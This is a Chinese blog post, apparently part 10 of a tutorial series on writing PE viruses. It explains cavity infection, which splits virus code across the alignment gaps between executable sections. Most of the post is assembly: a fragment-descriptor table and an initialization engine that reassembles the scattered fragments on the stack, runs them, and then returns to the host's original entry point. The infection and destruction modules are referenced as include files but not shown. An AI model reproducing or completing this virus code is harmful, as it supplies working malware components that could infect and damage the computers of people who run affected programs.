您的位置:首页 > 其它

关于PE病毒编写的学习(10)——空隙覆盖病毒的实现方法

2014-07-20 21:01 281 查看
这类病毒名字很多,选这个名字主要是它比较形象说明其感染方式,即将病毒代码分成多份,分别注入到程序各节由于对齐产生的空白中。

 

1.核心——病毒描述表

  将病毒代码分割成多份,分别注入到未知地址的区域内,却能完整运行。这看似神奇,其实实现方法却很简单———建立病毒分割描述表

 

病毒分割描述表举例(汇编):

 

Virus_Distribution struct;病毒片段描述符

   Code_Base     dword  0;该病毒片段的起始地址

   Code_Length  dword  0;该病毒片段的长度
Virus_Distribution ends

 

Distribution_Number=0AH  

  Virus_Distribution<401000h,VirusSize> ;病毒本身第一次编译时,必然和一般程序一样EOP默认是401000h,

                                                               ;长度VirusSize,且没有被分割

  Virus_Distribution<0,0>

  Virus_Distribution<0,0>

  Virus_Distribution<0,0>

  Virus_Distribution<0,0>

  Virus_Distribution<0,0>

  Virus_Distribution<0,0>

  Virus_Distribution<0,0>

  Virus_Distribution<0,0>

  Virus_Distribution<0,0>

 

分析:这里使用固定十组病毒片段描述符,因为PE文件节的个数很少能超过十个。当然也可使用根据文件节数相应调整的描述表,但是这样不但要增加这对病毒描述操作的代码。

 

2.病毒运行方案

   由于代码分成多份,散乱的分布在文件中,怎么能将病毒连接起来运行呢,严格说方法很多,但比较简单可行的有两种方案:

   ①物理连接:建立初始化引擎,申请一块连续的空白区域,把按照病毒描述表所有片段按顺序拷贝到哪里,具体方方法                           

                     CreateFileMappingA,也可抬高堆栈

   ②逻辑连接:建立地址转换引擎,根据病毒描述表进行地址转换,让病毒代码逻辑上认为自己运行在连续的内存区域里

 

   引擎设计的注意的问题:①引擎本身不可被分割,插入时应专门为引擎检查,空白区域是否能完整地容纳下引擎代码。

                                    ②引擎应该尽量小,因为空白区域是由于文件对齐产生的,对齐值默认200H。

 

举例(汇编):

Start:

;病毒初始化引擎////////////////////////////////
Engine_for_Initialization proc
   push ebp

   mov  ebp,esp       

   sub  esp,VirusStackSize;抬高堆栈

   call Initialize_Virus_Code

 Distribution_of_Virus_Code_Table:;病毒代码分布表,使用结构体描述。固定十组,

 Distribution_Offset=$-Start

 Distribution_Number=0Ah

 Virus_Distribution<401000h,VirusSize>

 Virus_Distribution<0,0>

 Virus_Distribution<0,0>

 Virus_Distribution<0,0>

 Virus_Distribution<0,0>

 Virus_Distribution<0,0>

 Virus_Distribution<0,0>

 Virus_Distribution<0,0>

 Virus_Distribution<0,0>

 Virus_Distribution<0,0>

Initialize_Virus_Code:

   pop  ebx

   xor  eax,eax

   lea  edi,[esp]

Copy_Next_CodeSection: 

   mov  esi,[ebx+eax*(sizeof Virus_Distribution)]

   and  esi,esi

   jz   Initialize_End

   mov  ecx,[ebx+eax*(sizeof Virus_Distribution)+4] 

Copy_Virus_Code:

   lodsb

   stosb

loop Copy_Virus_Code 

   inc  eax

   cmp  eax,0Ah

   jnz  Copy_Next_CodeSection

   Initialize_End:
;跳转到堆栈中的病毒代码,执行完返回宿主程序原入口点
   mov  eax,esp

   add  eax,VirusEngine_Size

   call eax
;跳转到宿主程序 
  Jmp_Host_File:

   jmp  eax 
Engine_for_Initialization endp
VirusEngine_Size =$-Start

;真正的病毒代码/////////////////////////////////////////////////
VirusCode proc uses ebx ecx edx esi edi
 Include Data_and_Relocation.asm

 Include Infect_HostFile.asm

 Include Destory.asm

 mov  eax,Local_HostFile_OEP

 ret
VirusCode endp
VirusSize =$-Start
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: